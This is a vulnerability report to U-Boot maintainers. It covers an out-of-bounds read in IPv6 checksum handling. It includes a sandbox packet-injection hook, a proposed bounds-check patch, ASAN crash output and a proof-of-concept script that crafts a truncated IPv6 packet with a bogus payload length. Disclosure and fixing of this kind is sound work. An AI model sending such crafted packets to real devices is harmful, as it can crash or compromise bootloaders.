Dear maintainers,
We have found an issue in u-boot that can lead to an Out-of-Bounds error when
compiled with ASAN.
The details of the issue are as follows:
Issue Description:
Crash reproduced by `poc.sh` feeds a crafted IPv6 packet with a incorrect
payload length into the `net_process_received_packet @ net/net.c`.
Vulnerable path:
- `net_process_received_packet` -> `net_ip6_handler` -> `csum_partial` ->
`csum_do_csum`
Root cause:
`net_ip6_handler()` trusts the IPv6 `payload_len` and computes checksums over
`hlen = ntohs(ip6->payload_len)` without verifying that the incoming frame
contains that many bytes.
With a truncated frame and a large `payload_len`, `csum_partial()` reads past
the end of the RX buffer, causing a buffer overflow that is caught by ASAN.
Modifications to u-boot
In order to reproduce this issue, we have implemented a `sb netrx` hook in
`cmd/sb.c` that allows injecting arbitrary raw Ethernet RX frames into the
networking stack.
The existing sandbox net driver only auto-generates limited packets (e.g.
ARP/ping) and cannot deliver a crafted IPv6 frame with a bogus `payload_len`.
The `sb netrx` hook is a minimal injection path that calls
`net_process_received_packet()` directly on a buffer loaded into RAM, which is
required to hit `net_ip6_handler()`.
```
diff --git a/cmd/sb.c b/cmd/sb.c
index 79f3fb0aacd..8e7604a13c4 100644
--- a/cmd/sb.c
+++ b/cmd/sb.c
@@ -6,6 +6,10 @@
#include <command.h>
#include <dm.h>
+#include <malloc.h>
+#include <mapmem.h>
+#include <net.h>
+#include <string.h>
#include <spl.h>
#include <asm/cpu.h>
#include <asm/global_data.h>
@@ -47,12 +51,52 @@ static int do_sb_state(struct cmd_tbl *cmdtp, int flag, int
argc,
return 0;
}
+static int do_sb_netrx(struct cmd_tbl *cmdtp, int flag, int argc,
+ char *const argv[])
+{
+ ulong addr;
+ unsigned int len;
+ uchar *buf;
+ uchar stack_buf[256];
+ bool heap = false;
+ void *src;
+
+ if (argc != 3)
+ return CMD_RET_USAGE;
+
+ addr = hextoul(argv[1], NULL);
+ len = dectoul(argv[2], NULL);
+
+ if (len > sizeof(stack_buf)) {
+ buf = malloc(len);
+ if (!buf)
+ return CMD_RET_FAILURE;
+ heap = true;
+ } else {
+ buf = stack_buf;
+ }
+ src = map_sysmem(addr, len);
+ if (!src) {
+ free(buf);
+ return CMD_RET_FAILURE;
+ }
+ memcpy(buf, src, len);
+ unmap_sysmem(src);
+ net_process_received_packet(buf, len);
+ if (heap)
+ free(buf);
+
+ return 0;
+}
+
U_BOOT_LONGHELP(sb,
"handoff - Show handoff data received from SPL\n"
"sb map - Show mapped memory\n"
- "sb state - Show sandbox state");
+ "sb state - Show sandbox state\n"
+ "sb netrx <addr> <len> - inject a raw RX packet into net stack");
U_BOOT_CMD_WITH_SUBCMDS(sb, "Sandbox status commands", sb_help_text,
U_BOOT_SUBCMD_MKENT(handoff, 1, 1, do_sb_handoff),
U_BOOT_SUBCMD_MKENT(map, 1, 1, do_sb_map),
- U_BOOT_SUBCMD_MKENT(state, 1, 1, do_sb_state));
+ U_BOOT_SUBCMD_MKENT(state, 1, 1, do_sb_state),
+ U_BOOT_SUBCMD_MKENT(netrx, 3, 1, do_sb_netrx));
```
Proposed Patch:
The patch proposed by our system verifies that the payload length is within
bounds of the packet data before computing the checksum thus avoiding the
Out-of-Bounds access.
```
diff --git a/net/net6.c b/net/net6.c
index 4cff98df15c..8453c1ca754 100644
--- a/net/net6.c
+++ b/net/net6.c
@@ -397,6 +397,9 @@ int net_ip6_handler(struct ethernet_hdr *et, struct ip6_hdr
*ip6, int len)
icmp = (struct icmp6hdr *)(((uchar *)ip6) + IP6_HDR_SIZE);
csum = icmp->icmp6_cksum;
hlen = ntohs(ip6->payload_len);
+ /* Validate payload length doesn't exceed available data */
+ if (hlen > len - IP6_HDR_SIZE)
+ hlen = len - IP6_HDR_SIZE;
icmp->icmp6_cksum = 0;
/* checksum */
csum_p = csum_partial((u8 *)icmp, hlen, 0);
@@ -424,6 +427,9 @@ int net_ip6_handler(struct ethernet_hdr *et, struct ip6_hdr
*ip6, int len)
udp = (struct udp_hdr *)(((uchar *)ip6) + IP6_HDR_SIZE);
csum = udp->udp_xsum;
hlen = ntohs(ip6->payload_len);
+ /* Validate payload length doesn't exceed available data */
+ if (hlen > len - IP6_HDR_SIZE)
+ hlen = len - IP6_HDR_SIZE;
udp->udp_xsum = 0;
/* checksum */
csum_p = csum_partial((u8 *)udp, hlen, 0);
```
Crash backtrace:
```
=================================================================
==39394==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xffffd7aea450 at pc 0xaaaacf7407fc bp 0xffffd7aea100 sp 0xffffd7aea0f0
READ of size 4 at 0xffffd7aea450 thread T0
#0 0xaaaacf7407f8 in csum_do_csum net/net6.c:215
#1 0xaaaacf7407f8 in csum_partial.constprop.0 net/net6.c:245
#2 0xaaaacf5d0510 in net_ip6_handler net/net6.c:429
#3 0xaaaacf5d0510 in net_process_received_packet net/net.c:1282
#4 0xaaaacf345788 in do_sb_netrx cmd/sb.c:85
#5 0xaaaacf3847a8 in cmd_call common/command.c:582
#6 0xaaaacf3847a8 in cmd_process common/command.c:637
#7 0xaaaacf37b5d4 in run_pipe_real common/cli_hush.c:1674
#8 0xaaaacf37b5d4 in run_list_real common/cli_hush.c:1870
#9 0xaaaacf37c2e0 in run_list common/cli_hush.c:2019
#10 0xaaaacf37c2e0 in parse_stream_outer common/cli_hush.c:3209
#11 0xaaaacf37c868 in parse_string_outer common/cli_hush.c:3275
#12 0xaaaacf754940 in run_command_list.constprop.0 common/cli.c:149
#13 0xaaaacf2bc980 in sandbox_main_loop_init arch/sandbox/cpu/start.c:145
#14 0xaaaacf2bc980 in run_main_loop common/board_r.c:583
#15 0xaaaacf2bc980 in initcall_run_r common/board_r.c:783
#16 0xaaaacf2bc980 in board_init_r common/board_r.c:813
#17 0xaaaacf2bc980 in sandbox_main arch/sandbox/cpu/start.c:584
#18 0xffffba7d73fc (/lib/aarch64-linux-gnu/libc.so.6+0x273fc)
#19 0xffffba7d74d4 in __libc_start_main
(/lib/aarch64-linux-gnu/libc.so.6+0x274d4)
#20 0xaaaacf2ac9ec in _start
(/src/simulation_environments/xxx_uboot_issue_1/sources/xxx_uboot_issue_1/u-boot+0x27c9ec)
Address 0xffffd7aea450 is located in stack of thread T0 at offset 288 in frame
#0 0xaaaacf345634 in do_sb_netrx cmd/sb.c:56
This frame has 1 object(s):
[32, 288) 'stack_buf' (line 60) <== Memory access at offset 288 overflows
this variable
HINT: this may be a false positive if your program uses some custom stack
unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow net/net6.c:215 in csum_do_csum
Shadow bytes around the buggy address:
0x200ffaf5d430: f1 f1 04 f2 04 f2 04 f2 04 f2 04 f2 04 f2 04 f2
0x200ffaf5d440: 04 f2 04 f2 04 f2 00 00 f2 f2 00 00 04 f2 f2 f2
0x200ffaf5d450: f2 f2 06 f3 f3 f3 00 00 00 00 00 00 00 00 00 00
0x200ffaf5d460: 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00 00 00
0x200ffaf5d470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ffaf5d480: 00 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3 f3 f3
0x200ffaf5d490: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffaf5d4a0: 00 00 00 00 f1 f1 f1 f1 04 f3 f3 f3 00 00 00 00
0x200ffaf5d4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffaf5d4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffaf5d4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==39394==ABORTING
```
Reproduction Steps:
```
chmod +x build.sh poc.sh
# This clones the latest source code of u-boot from
https://source.denx.de/u-boot/u-boot.git
# applies the patch for `sb netrx`
# and compiles the sandbox it with ASAN
./build.sh
# This crafts an IPv6 packet with an arbitrary payload length
# and invokes the `sb netrx` command with the crafted packet
./poc.sh
```
build.sh
```
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
UBOOT_DIR="$ROOT_DIR/u-boot"
if [ ! -d "$UBOOT_DIR" ]; then
git clone https://source.denx.de/u-boot/u-boot.git "$UBOOT_DIR"
patch -d "$UBOOT_DIR" -p1 < ../u-boot.patch
fi
cd "$UBOOT_DIR"
make sandbox_defconfig
./scripts/config --file .config -e ASAN
make olddefconfig
make -j"$(nproc)"
printf 'Built ASAN sandbox U-Boot at %s\n' "$UBOOT_DIR/u-boot"
```
poc.sh
```
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
UBOOT="$ROOT_DIR/u-boot/u-boot"
POC_BIN="$ROOT_DIR/ipv6_trunc.bin"
POC_BIN="$POC_BIN" python3 - <<'PY'
import struct
import os
pkt = bytearray()
pkt += b'\xff' * 6 + b'\x00' * 6 + struct.pack('!H', 0x86dd)
pkt += bytes([0x60, 0, 0, 0]) # v6 header
pkt += struct.pack('!H', 0xffff) # payload_len (bogus)
pkt += bytes([17, 64]) # next header=UDP, hop limit
pkt += b'\x00' * 32 # src/dst
open(os.environ["POC_BIN"], "wb").write(pkt)
print(len(pkt))
PY
ASAN_OPTIONS=detect_leaks=0 \
"$UBOOT" -c "load hostfs - 0x100000 ipv6_trunc.bin && sb netrx 0x100000 54"
```
All the necessary files are also attached with this email.
Please investigate this issue.
Thank you for your time.54
Bloblist at 100 not found (err=-2)
U-Boot 2026.04-rc1 (Jan 29 2026 - 07:29:07 +0000)
DRAM: 256 MiB
Core: 29 devices, 15 uclasses, devicetree: board, universal payload active
NAND: 0 MiB
MMC:
Loading Environment from nowhere... OK
Warning: device tree node '/config/environment' not found
In: serial
Out: serial,vidconsole
Err: serial,vidconsole
Net: eth_initialize() No ethernet found.
54 bytes read in 0 ms
=================================================================
==39394==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xffffd7aea450 at pc 0xaaaacf7407fc bp 0xffffd7aea100 sp 0xffffd7aea0f0
READ of size 4 at 0xffffd7aea450 thread T0
#0 0xaaaacf7407f8 in csum_do_csum net/net6.c:215
#1 0xaaaacf7407f8 in csum_partial.constprop.0 net/net6.c:245
#2 0xaaaacf5d0510 in net_ip6_handler net/net6.c:429
#3 0xaaaacf5d0510 in net_process_received_packet net/net.c:1282
#4 0xaaaacf345788 in do_sb_netrx cmd/sb.c:85
#5 0xaaaacf3847a8 in cmd_call common/command.c:582
#6 0xaaaacf3847a8 in cmd_process common/command.c:637
#7 0xaaaacf37b5d4 in run_pipe_real common/cli_hush.c:1674
#8 0xaaaacf37b5d4 in run_list_real common/cli_hush.c:1870
#9 0xaaaacf37c2e0 in run_list common/cli_hush.c:2019
#10 0xaaaacf37c2e0 in parse_stream_outer common/cli_hush.c:3209
#11 0xaaaacf37c868 in parse_string_outer common/cli_hush.c:3275
#12 0xaaaacf754940 in run_command_list.constprop.0 common/cli.c:149
#13 0xaaaacf2bc980 in sandbox_main_loop_init arch/sandbox/cpu/start.c:145
#14 0xaaaacf2bc980 in run_main_loop common/board_r.c:583
#15 0xaaaacf2bc980 in initcall_run_r common/board_r.c:783
#16 0xaaaacf2bc980 in board_init_r common/board_r.c:813
#17 0xaaaacf2bc980 in sandbox_main arch/sandbox/cpu/start.c:584
#18 0xffffba7d73fc (/lib/aarch64-linux-gnu/libc.so.6+0x273fc)
#19 0xffffba7d74d4 in __libc_start_main
(/lib/aarch64-linux-gnu/libc.so.6+0x274d4)
#20 0xaaaacf2ac9ec in _start
(/src/simulation_environments/xxx_uboot_issue_1/sources/xxx_uboot_issue_1/u-boot+0x27c9ec)
Address 0xffffd7aea450 is located in stack of thread T0 at offset 288 in frame
#0 0xaaaacf345634 in do_sb_netrx cmd/sb.c:56
This frame has 1 object(s):
[32, 288) 'stack_buf' (line 60) <== Memory access at offset 288 overflows
this variable
HINT: this may be a false positive if your program uses some custom stack
unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow net/net6.c:215 in csum_do_csum
Shadow bytes around the buggy address:
0x200ffaf5d430: f1 f1 04 f2 04 f2 04 f2 04 f2 04 f2 04 f2 04 f2
0x200ffaf5d440: 04 f2 04 f2 04 f2 00 00 f2 f2 00 00 04 f2 f2 f2
0x200ffaf5d450: f2 f2 06 f3 f3 f3 00 00 00 00 00 00 00 00 00 00
0x200ffaf5d460: 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00 00 00
0x200ffaf5d470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ffaf5d480: 00 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3 f3 f3
0x200ffaf5d490: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffaf5d4a0: 00 00 00 00 f1 f1 f1 f1 04 f3 f3 f3 00 00 00 00
0x200ffaf5d4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffaf5d4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffaf5d4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==39394==ABORTING
build.sh
Description: Binary data
poc.sh
Description: Binary data
proposed_patch.diff
Description: Binary data
u-boot.patch
Description: Binary data

